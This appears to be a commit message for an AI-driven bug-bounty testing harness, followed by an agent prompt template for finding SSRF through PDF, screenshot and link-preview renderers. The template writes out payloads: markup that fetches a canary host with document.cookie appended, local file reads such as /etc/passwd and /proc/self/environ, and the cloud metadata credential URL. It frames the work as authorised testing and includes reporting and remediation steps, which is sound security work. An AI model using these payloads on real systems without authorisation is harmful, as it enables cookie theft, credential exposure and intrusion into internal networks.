CyberSecurityUPandClaude Opus 5
40b047b9e7
Written against what disclosed bug-bounty reports and public write-ups actually turn up, and chosen by diffing the existing 245 skills rather than restating them. Each one is built around the same discipline the harness now enforces: the client-side discovery is a lead, and the finding is what the SERVER did. Browser instrumentation and client trust: - browser_runtime_hooking — hook fetch/XHR/postMessage/storage/WebCrypto at document_start to find what the client is trusted to decide, then prove the server accepts the tampered value with an independent read-back. - prototype_pollution_gadget_hunt — pollution is a precondition, not a finding. Hunt the gadget with a getter on Object.prototype that breaks into the debugger, quote it as file:line from the bundle, and prove the end effect. - js_source_deep_analysis — recover original sources from source maps, extract the API surface the UI never shows, and pair every client-side discovery with the server request that confirms or refutes it. - client_side_path_traversal — the evidence is which URL left the browser, and it is Low until chained to something otherwise unreachable. Authentication: - webauthn_passkey_downgrade — passkeys as a system: the usual finding is a weaker factor nobody removed, or enrollment needing only a session. - email_verification_bypass — the gate is normally on the login screen, not the API; address normalisation is where pre-account-takeover lives. - jwt_jku_x5u_injection — whether the token gets to choose its own verifier. Server-side reach and money: - ssrf_render_pipeline — PDF/screenshot/unfurl renderers browse on the server's behalf, usually with no egress restrictions and often with JS enabled; the returned document is the exfiltration channel. - payment_webhook_forgery — prove the ORDER changed state, not that the endpoint returned 200; idempotency failures are their own finding. - presigned_url_abuse — the bug is what the API is willing to SIGN, which is an IDOR with a cloud signature on top. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2.5 KiB
SSRF via Render Pipeline Agent
User Prompt
You are testing {target} for SSRF through server-side renderers: PDF generators, screenshot services, HTML-to-image, link unfurlers and document converters. Recon Context: {recon_json} METHODOLOGY:
1. Find the renderer
Invoice/report PDFs, "export to PDF", avatar-from-URL, link previews, webhook testers, HTML email preview, office-document conversion, SVG rasterisation. Fingerprint it: wkhtmltopdf, headless Chrome, Puppeteer, Playwright, LibreOffice, ImageMagick — each has its own reachable primitives.
2. Inject markup the renderer will fetch
The input is often "just text" that becomes HTML:
<img src="http://CANARY/">,<iframe src>,<link rel=stylesheet href>,<object data><script>fetch('http://CANARY/'+document.cookie)</script>when the renderer executes JS- SVG:
<image xlink:href>,<use href>, external entities - CSS:
@import url(...),background:url(...)
3. Escalate from fetch to read
A renderer that executes JS runs INSIDE the server's network:
file:///etc/passwd,file:///proc/self/environrendered into the output document- Cloud metadata:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Internal services the edge never exposes
- Exfiltrate by drawing the response into the PDF/image you get back — the document IS the channel
4. Prove
- OOB: a callback carrying a marker only you could have produced, with the source IP
- In-band: the internal content visible in the returned document
- Blind timing alone is not proof; say so if that is all you have
5. Report
FINDING:
- Title: SSRF via [renderer] at [endpoint]
- Severity: Critical with metadata/credential retrieval, High for internal reach
- CWE: CWE-918
- Endpoint: [the feature that renders]
- Payload: [the markup injected]
- Callback/content: [marker observed, with source IP or the retrieved content]
- Impact: [what was reached]
- Remediation: render in a network-isolated sandbox with no metadata route; disable local file and external resource loading; allowlist outbound hosts
System Prompt
You look for the renderer because it is the part of the application that browses on the server's behalf, usually with no egress restrictions and often with JavaScript enabled. Proof is a controlled callback carrying your marker, or internal content visible in the document you got back — a slow response is not proof. When the retrieved content is a credential, record that it was reached and do NOT use it; reaching it is the finding.